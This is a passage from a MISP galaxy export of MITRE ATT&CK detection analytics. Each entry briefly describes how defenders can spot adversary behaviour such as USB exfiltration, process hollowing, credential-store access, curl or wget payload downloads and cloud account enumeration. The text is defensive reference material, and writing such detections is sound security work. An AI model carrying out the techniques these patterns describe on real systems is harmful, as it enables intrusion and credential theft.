Detects USB device insertion followed by high-volume or sensitive file access and staging activity by suspicious processes or accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0616 - AN0616"*

Table 6531. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0220#AN0616

Analytic 0661 - AN0661

Detection of modified boot-time configuration scripts that persist malicious CLI commands across reboots.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0661 - AN0661"*

Table 6532. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0237#AN0661

Analytic 1606 - AN1606

Adversary creates new users using 'dscl' commands, GUI tools, or by modifying user plist files. Detection includes monitoring dscl invocation and user-related plist changes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1606 - AN1606"*

Table 6533. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0583#AN1606

Analytic 1660 - AN1660

On Android, the user can review which applications can use premium SMS features in the "Special access" page within application settings. Application vetting services can detect when applications request the `SEND_SMS` permission, which should be infrequently used.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1660 - AN1660"*

Table 6534. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0608#AN1660

Analytic 0716 - AN0716

Initiation of remote desktop sessions via AnyDesk, TeamViewer, or Chrome Remote Desktop accompanied by unexpected user logins or system modifications

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0716 - AN0716"*

Table 6535. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0259#AN0716

Analytic 0167 - AN0167

Process execution of curl or wget followed by a network connection and a file created in temporary or user-specific directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0167 - AN0167"*

Table 6536. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0060#AN0167

Analytic 1607 - AN1607

Adversary creates users via IAM/IdP API or portal (e.g., Azure AD, Okta). Detection involves monitoring API calls, admin action logs, and correlation with role assignments.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1607 - AN1607"*

Table 6537. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0583#AN1607

Analytic 0761 - AN0761

Applications or launchd jobs initiating encrypted TLS traffic to rare external hosts. Defender observes unified logs showing ssl/TLS API calls by processes not baseline-approved, and payload entropy suggesting encrypted C2 sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0761 - AN0761"*

Table 6538. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0273#AN0761

Analytic 1067 - AN1067

Identifies transfer of base64, uuencoded, or high-entropy files over HTTP, FTP, or custom protocols in lateral movement or exfiltration streams.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1067 - AN1067"*

Table 6539. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0378#AN1067

Analytic 0617 - AN0617

Detects USB block device mount followed by file access in sensitive directories or high-volume copy operations by user-controlled processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0617 - AN0617"*

Table 6540. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0220#AN0617

Analytic 0176 - AN0176

Unquoted service or shortcut paths that contain spaces and allow path interception by higher-level executables. Defender observes registry service configurations with unquoted paths, file creation of

executables in parent directories of unquoted paths, and subsequent process execution from unexpected locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0176 - AN0176"*

Table 6541. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0064#AN0176

Analytic 1076 - AN1076

Detects adversary use of suspended process creation, using the CREATE_SUSPENDED flag via CreateProcess, followed by unmapping the memory of the child process (NtUnmapViewOfSection) and replacing it with malicious code via VirtualAllocEx/WriteProcessMemory, then SetThreadContext and ResumeThread to begin execution within the hollowed process.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1076 - AN1076"*

Table 6542. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0382#AN1076

Analytic 0671 - AN0671

Monitor for abnormal certificate enrollment and usage activity in Active Directory Certificate Services (AD CS), registry access to certificate storage locations, and unusual process executions that attempt to export or access private keys.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0671 - AN0671"*

Table 6543. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0240#AN0671

Analytic 1760 - AN1760

Mobile security products can often alert the user if their device is vulnerable to known exploits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1760 - AN1760"*

Table 6544. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0666#AN1760

Analytic 1670 - AN1670

Mobile security products can often alert the user if their device is vulnerable to known exploits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1670 - AN1670"*

Table 6545. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0614#AN1670

Analytic 1706 - AN1706

Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1706 - AN1706"*

Table 6546. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0634#AN1706

Analytic 0816 - AN0816

Detects API calls registering or updating hybrid identity connectors, modification of cloud-to-on-premises federation trust, and unusual token issuance logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0816 - AN0816"*

Table 6547. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0293#AN0816

Analytic 0186 - AN0186

Chain: (1) udev / kernel logs show hot-plug (USB/Thunderbolt/PCIe); (2) block device created by udisks/diskarbitration; (3) optional: new network interface or DHCP lease observed. Correlate /var/log/messages|syslog, auditd SYSCALL open/creat on /dev, and DHCP/Zeek.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0186 - AN0186"*

Table 6548. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0069#AN0186

Analytic 0618 - AN0618

Detects external volume mount with Finder, Terminal, or script-initiated file copy from user profiles, sensitive folders, or cloud storage sync directories to USB.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0618 - AN0618"*

Table 6549. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0220#AN0618

Analytic 0681 - AN0681

Defenders may observe attempts to alter cryptographic settings on network devices that reduce key strength or allowable cipher suites. Suspicious indicators include configuration changes that downgrade encryption algorithms, key length parameters, or the disabling of strong encryption in favor of legacy ciphers. These activities often appear as CLI commands modifying crypto policies, firmware changes affecting crypto libraries, or unexpected updates to key management files. Correlation across device config logs and traffic analysis showing weaker ciphers provides higher confidence of malicious key space reduction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0681 - AN0681"*

Table 6550. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0243#AN0681

Analytic 0861 - AN0861

Detection focuses on identifying unauthorized or anomalous changes to compute infrastructure components. Defender perspective: monitor for creation, deletion, or modification of instances, volumes, and snapshots outside of approved change management windows; correlate abnormal activity such as rapid snapshot creation followed by new instance mounts, or repeated infrastructure changes by rarely used accounts. Flagging activity linked to unusual geolocation, API client, or automation script is suspicious.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0861 - AN0861"*

Table 6551. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0308#AN0861

Analytic 1608 - AN1608

Account creation via cloud service APIs or CLI, often associated with key generation. Monitored via

CloudTrail or equivalent audit logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1608 - AN1608"*

Table 6552. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0583#AN1608

Analytic 1086 - AN1086

A process or terminal command outside of standard shell utilities reads the user's .bash_history file. On macOS, unified logs or telemetry tools like EndpointSecurity (ESF) may observe file read APIs or terminal process lineage that shows non-user-initiated access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1086 - AN1086"*

Table 6553. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0385#AN1086

Analytic 1068 - AN1068

Detects encoded PowerCLI or Base64-encoded payloads staged via datastore uploads or shell access (e.g., ESXi Shell or backdoored VIBs).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1068 - AN1068"*

Table 6554. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0378#AN1068

Analytic 0168 - AN0168

Command line interface or vCLI triggers remote transfer using wget or curl, writing files into datastore paths or local tmp directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0168 - AN0168"*

Table 6555. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0060#AN0168

Analytic 1806 - AN1806

The user can view a list of active device administrators in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1806 - AN1806"*

Table 6556. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0693#AN1806

Analytic 1680 - AN1680

On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.

On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1680 - AN1680"*

Table 6557. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0619#AN1680

Analytic 1960 - AN1960

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1960 - AN1960"*

Table 6558. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0828#AN1960

Analytic 0196 - AN0196

Detects rsync or scp inbound from other hosts that then aggregate content into /Users/Shared or

/private/tmp, often involving compressed files or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0196 - AN0196"*

Table 6559. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0071#AN0196

Analytic 0691 - AN0691

CONTAINERS (Docker/K8s/containerd): A user pulls an untrusted image from a public/unknown registry and then creates/starts a container from that image. Shortly after start, the container spawns unexpected utilities (e.g., curl/wget/bash/python), or makes outbound network connections atypical for the namespace/workload. The analytic correlates Image Creation/Download → Container Creation → Container Start → Command Execution/Network activity within a short window and with a consistent image digest.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0691 - AN0691"*

Table 6560. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0248#AN0691

Analytic 0619 - AN0619

Unusual or unauthorized processes accessing microphone APIs (e.g., winmm.dll, avrt.dll) followed by audio file writes to user-accessible or temp directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0619 - AN0619"*

Table 6561. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0221#AN0619

Analytic 1609 - AN1609

Unexpected creation or modification of files with `com.apple.ResourceFork` extended attributes containing unusually large or non-standard data. Defender perspective: detection of resource forks in contexts where they are uncommon, especially when paired with process execution or network activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1609 - AN1609"*

Table 6562. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0584#AN1609

Analytic 1069 - AN1069

Detects rogue Wi-Fi access points broadcasting the same SSID as legitimate APs with stronger signal strength, unexpected MAC/BSSID values, or inconsistent encryption settings. Correlates authentication attempts, captive portal redirections, and anomalous traffic flows through unauthorized APs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1069 - AN1069"*

Table 6563. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0379#AN1069

Analytic 0916 - AN0916

Detection of anomalous driver and firmware interactions, including unsigned or unexpected firmware updates, driver loads linked to hardware components, and suspicious use of privileged APIs to read/write firmware or controller memory.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0916 - AN0916"*

Table 6564. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0323#AN0916

Analytic 1096 - AN1096

Correlation of file creation/modification of `.desktop` files within XDG autostart directories, followed by execution of processes at user login initiated by the desktop environment. Malicious entries typically include suspicious Exec paths or anomalous names and are not associated with installed packages.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1096 - AN1096"*

Table 6565. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0390#AN1096

Analytic 0961 - AN0961

Defenders may observe unauthorized modifications to encryption-related configuration files, firmware, or crypto modules on network devices. Suspicious patterns include changes to cipher suite configurations, unexpected firmware updates affecting crypto libraries, disabling of hardware

cryptographic accelerators, or reductions in key length policies. Correlating configuration changes with anomalies in encrypted traffic characteristics (e.g., weaker ciphers or sudden plaintext transmission) strengthens detection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0961 - AN0961"*

Table 6566. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0339#AN0961

Analytic 0169 - AN0169

Network device logs show anomalous inbound file transfers or uncharacteristic flows with high payload volume to network devices with storage or automation hooks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0169 - AN0169"*

Table 6567. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0060#AN0169

Analytic 1690 - AN1690

Remote access software typically requires many privileged permissions, such as accessibility services or device administrator.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1690 - AN1690"*

Table 6568. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0624#AN1690

Analytic 0771 - AN0771

Detection of new IAM roles or policies attached to a user/service in AWS/GCP/Azure outside normal patterns or hours, often following account compromise.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0771 - AN0771"*

Table 6569. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0277#AN0771

Analytic 1077 - AN1077

Detects adversary behavior where a newly created or renamed user account closely resembles existing service or administrator accounts to blend in and avoid detection. Common patterns include prefix/suffix modifications, homoglyphs, or use of names like 'admin1', 'adm1n', or 'backup_help'.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1077 - AN1077"*

Table 6570. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0383#AN1077

Analytic 0177 - AN0177

Defenders may detect abuse of container administration commands by observing anomalous use of management utilities (`docker exec`, `kubectl exec`, or API calls to kubelet) correlated with unexpected process creation inside containers. Behavioral chains include unauthorized API requests followed by command execution within running pods or containers, often originating from unusual user accounts, automation scripts, or IP addresses outside the expected cluster management plane.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0177 - AN0177"*

Table 6571. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0065#AN0177

Analytic 0717 - AN0717

Defenders may detect adversaries forging web credentials in IaaS environments by monitoring for anomalous API activity such as AssumeRole or GetFederationToken being executed by unusual principals. These events often correlate with sudden logon sessions from unfamiliar IP addresses or regions. The chain is usually secret material misuse (stolen private key or password) → API request generating a new token → access to high-value resources.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0717 - AN0717"*

Table 6572. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0260#AN0717

Analytic 1770 - AN1770

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. Many properly configured firewalls may naturally

block command and control traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1770 - AN1770"*

Table 6573. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0672#AN1770

Analytic 1707 - AN1707

Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1707 - AN1707"*

Table 6574. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0634#AN1707

Analytic 0817 - AN0817

Detects tenant-wide authentication or conditional access changes that weaken hybrid identity enforcement, including disabling AD FS or bypassing hybrid MFA policies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0817 - AN0817"*

Table 6575. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0293#AN0817

Analytic 0871 - AN0871

Multi-event correlation of Registry creation under Active Setup with anomalous execution of processes at user logon. Behavioral patterns include creation/modification of HKLM Active Setup keys with non-standard StubPath values, followed by process execution from uncommon paths, unsigned binaries, or unusual parent-child lineage post-user login.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0871 - AN0871"*

Table 6576. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0312#AN0871

Analytic 0178 - AN0178

Behavioral chain: (1) a user-facing app (browser/Office/email client) launches a URL or handles a link, then (2) the same process lineage makes an outbound connection to an untrusted domain/IP, (3) a file is downloaded or unpacked to a user-writable location shortly after the click. Optional enrichment: subsequent child execution by LOLBINs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0178 - AN0178"*

Table 6577. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0066#AN0178

Analytic 0187 - AN0187

Chain: (1) unified logs report IOUSBHost/IOThunderbolt device arrival; (2) diskarbitrationd attaches a new volume; (3) optional: config profile manipulation or new network interface MAC obtains a lease. Correlate unifiedlogs (subsystems: IOUSBHost, IOKit, diskarbitrationd), FSEvents, and DHCP/Zeek.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0187 - AN0187"*

Table 6578. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0069#AN0187

Analytic 1078 - AN1078

Detects creation or renaming of accounts with names that closely match known service, root, or admin accounts. Behavior often follows account discovery or deletion, attempting to blend into system activity logs using trusted name conventions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1078 - AN1078"*

Table 6579. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0383#AN1078

Analytic 0718 - AN0718

Forged web credentials may manifest as anomalous SAML token issuance, OpenID Connect token minting, or Zimbra pre-auth key usage. Defenders may see tokens issued without normal authentication events, multiple valid tokens generated simultaneously, or signing anomalies in IdP logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0718 - AN0718"*

Table 6580. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0260#AN0718

Analytic 0781 - AN0781

Behavior chain involving abnormal registry modifications via CLI, PowerShell, WMI, or direct API calls, especially targeting persistence, privilege escalation, or defense evasion keys, potentially followed by service restart or process execution. Such as editing Notify/Userinit/Startup keys, or disabling SafeDllSearchMode.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0781 - AN0781"*

Table 6581. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0280#AN0781

Analytic 1087 - AN1087

Enumeration of identity roles and users via API calls such as `Get-MsolRoleMember`, `az ad user list`, or Graph API tokens from unauthorized users or automation accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1087 - AN1087"*

Table 6582. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0386#AN1087

Analytic 1807 - AN1807

Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1807 - AN1807"*

Table 6583. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0694#AN1807

Analytic 1708 - AN1708

Monitor for API calls that are related to the AccountManager API on Android and Keychain services

on iOS. Application vetting services may look for `MANAGE_ACCOUNTS` in an Android application's manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1708 - AN1708"*

Table 6584. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0635#AN1708

Analytic 1780 - AN1780

Detection of steganography is difficult unless detectable artifacts with a known signature are left behind by the obfuscation process. Look for strings are other signatures left in system artifacts related to decoding steganography.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1780 - AN1780"*

Table 6585. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0677#AN1780

Analytic 1079 - AN1079

Detects adversary creation of cloud or IdP accounts whose names resemble existing privileged or service accounts. May indicate preparation for privilege escalation or defense evasion.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1079 - AN1079"*

Table 6586. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0383#AN1079

Analytic 0917 - AN0917

Detection of suspicious use of ioctl/sysfs calls to access device firmware, unexpected flashing tools execution, and anomalous firmware checksums logged by SMART or kernel audit mechanisms.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0917 - AN0917"*

Table 6587. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0323#AN0917

Analytic 0197 - AN0197

Detects remote writes or snapshots mounted from other systems into a central ESXi VMFS path or NFS store used for remote staging of files before exfiltration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0197 - AN0197"*

Table 6588. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0071#AN0197

Analytic 0791 - AN0791

A remote DCOM invocation by a privileged account using RPC (port 135), followed by abnormal process instantiation or module loading on the remote system indicative of code execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0791 - AN0791"*

Table 6589. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0285#AN0791

Analytic 1970 - AN1970

Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1970 - AN1970"*

Table 6590. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0838#AN1970
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 0971 - AN0971

Excessive outbound traffic via `ping`, `curl`, or custom scripts indicating flooding behavior, especially with no UI context or user interaction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0971 - AN0971"*

Table 6591. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0343#AN0971

Analytic 0179 - AN0179

Behavioral chain: (1) browser/office/GUI mail client opens a URL, (2) outbound connection to untrusted domain, (3) a new file is saved in $HOME/Downloads, /tmp, or cache immediately after.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0179 - AN0179"*

Table 6592. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0066#AN0179

Analytic 1097 - AN1097

Monitor for runtime data manipulations by detecting suspicious modification of application binaries, API hooking, or unexpected behavior from processes responsible for rendering or displaying data. Correlate registry edits, process creation, and unexpected binary hash mismatches.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1097 - AN1097"*

Table 6593. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0391#AN1097

Analytic 0719 - AN0719

Forged web credentials on Windows endpoints may be detected by anomalous browser cookie files, local token cache manipulations, or tools injecting tokens into sessions. Defenders may observe processes accessing LSASS or browser credential stores unexpectedly, followed by unusual logon sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0719 - AN0719"*

Table 6594. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0260#AN0719

Analytic 1790 - AN1790

Applications could be vetted for their use of the clipboard manager APIs with extra scrutiny given to application that make use of them.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1790 - AN1790"*

Table 6595. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0683#AN1790

Analytic 1709 - AN1709

Monitor for API calls that are related to the AccountManager API on Android and Keychain services on iOS. Application vetting services may look for `MANAGE_ACCOUNTS` in an Android application's manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1709 - AN1709"*

Table 6596. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0635#AN1709

Analytic 1088 - AN1088

Use of AWS CLI (`aws iam list-users`, `list-roles`), Azure CLI (`az ad user list`), or GCP CLI (`gcloud iam service-accounts list`) from endpoints or cloud shells where such activity is unexpected.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1088 - AN1088"*

Table 6597. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0386#AN1088

Analytic 0188 - AN0188

Unusual inbound email activity where attachments or embedded URLs are delivered to users followed by execution of new processes or suspicious document behavior. Detection involves correlating email metadata, file creation, and network activity after a phishing message is received.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0188 - AN0188"*

Table 6598. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0070#AN0188

Analytic 0881 - AN0881

Office application auto-loads a non-standard DLL during startup triggered via Office Test Registry key, often without macro warning banners. DLL persistence mechanism circumvents traditional macro defenses.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0881 - AN0881"*

Table 6599. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0315#AN0881

Analytic 0818 - AN0818

Detects suspicious changes to SAML/OAuth federation configurations, such as new signing certificates, altered endpoints, or claims issuance rules granting elevated privileges.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0818 - AN0818"*

Table 6600. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0293#AN0818

Analytic 1808 - AN1808

The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. During the vetting process, applications using the Android permission `android.permission.CAMERA`, or the iOS `NSCameraUsageDescription` plist entry could be given closer scrutiny.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1808 - AN1808"*

Table 6601. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0695#AN1808

Analytic 1089 - AN1089

Bulk enumeration of cloud user email identities through `Get-Recipient`, `Get-Mailbox`, `Get-User`, or Graph API directory listings by abnormal accounts or suspicious sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1089 - AN1089"*

Table 6602. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0386#AN1089

Analytic 0819 - AN0819

User opens a file delivered by email, web, chat, or share. The handler application (Word/PDF reader/archiver) creates a file in user-controlled paths (Downloads, Temp, Desktop) and then spawns a new or unusual child process (e.g., powershell.exe, wscript.exe, cmd.exe, regsvr32.exe, rundll32.exe, msiexec.exe). Optional precursors include FileStreamCreated (URL/UNC) and Office → system32 batch writes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0819 - AN0819"*

Table 6603. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0294#AN0819

Analytic 0981 - AN0981

Invocation of built-in commands like screencapture or use of undocumented APIs from suspicious parent processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0981 - AN0981"*

Table 6604. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0346#AN0981

Analytic 0198 - AN0198

Detects remote write activity across cloud VMs or object storage buckets within the same region/account that correlate with data aggregation across hosts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0198 - AN0198"*

Table 6605. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0071#AN0198

Analytic 0891 - AN0891

Cloud control plane actions disabling security services (CloudTrail logging, GuardDuty, Security Hub). Detect IAM role abuse correlating with service disable events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0891 - AN0891"*

Table 6606. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0891

Analytic 1980 - AN1980

Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal SSL/TLS certificates that can be used during targeting. Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1980 - AN1980"*

Table 6607. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0848#AN1980
https://www.recordedfuture.com/research/cobalt-strike-servers
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Analytic 0189 - AN0189

Monitor for malicious payload delivery through phishing where attachments or URLs in email clients (e.g., Thunderbird, mutt) result in unusual file creation or outbound network connections. Focus on correlation between mail logs, file writes, and execution activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0189 - AN0189"*

Table 6608. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0070#AN0189

Analytic 0918 - AN0918

Detection of EFI/firmware manipulation attempts via abnormal driver loads, unsigned kexts, or tampered NVRAM variables associated with component firmware configuration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0918 - AN0918"*

Table 6609. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0323#AN0918

Analytic 1098 - AN1098

Detect runtime manipulation by monitoring system calls for modifications to shared libraries, ELF binaries, or environment variables that affect how data is displayed. Look for suspicious writes to application directories and mismatch in binary integrity baselines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1098 - AN1098"*

Table 6610. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0391#AN1098

Analytic 1809 - AN1809

The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. During the vetting process, applications using the Android permission `android.permission.CAMERA`, or the iOS `NSCameraUsageDescription` plist entry could be given closer scrutiny.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1809 - AN1809"*

Table 6611. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0695#AN1809

Analytic 0199 - AN0199

Detects adversary use of logon script configuration via Group Policy or user object attributes, followed by script execution post-authentication. Behavior includes modification of script path or file, then process execution under user logon context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0199 - AN0199"*

Table 6612. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0072#AN0199

Analytic 0919 - AN0919

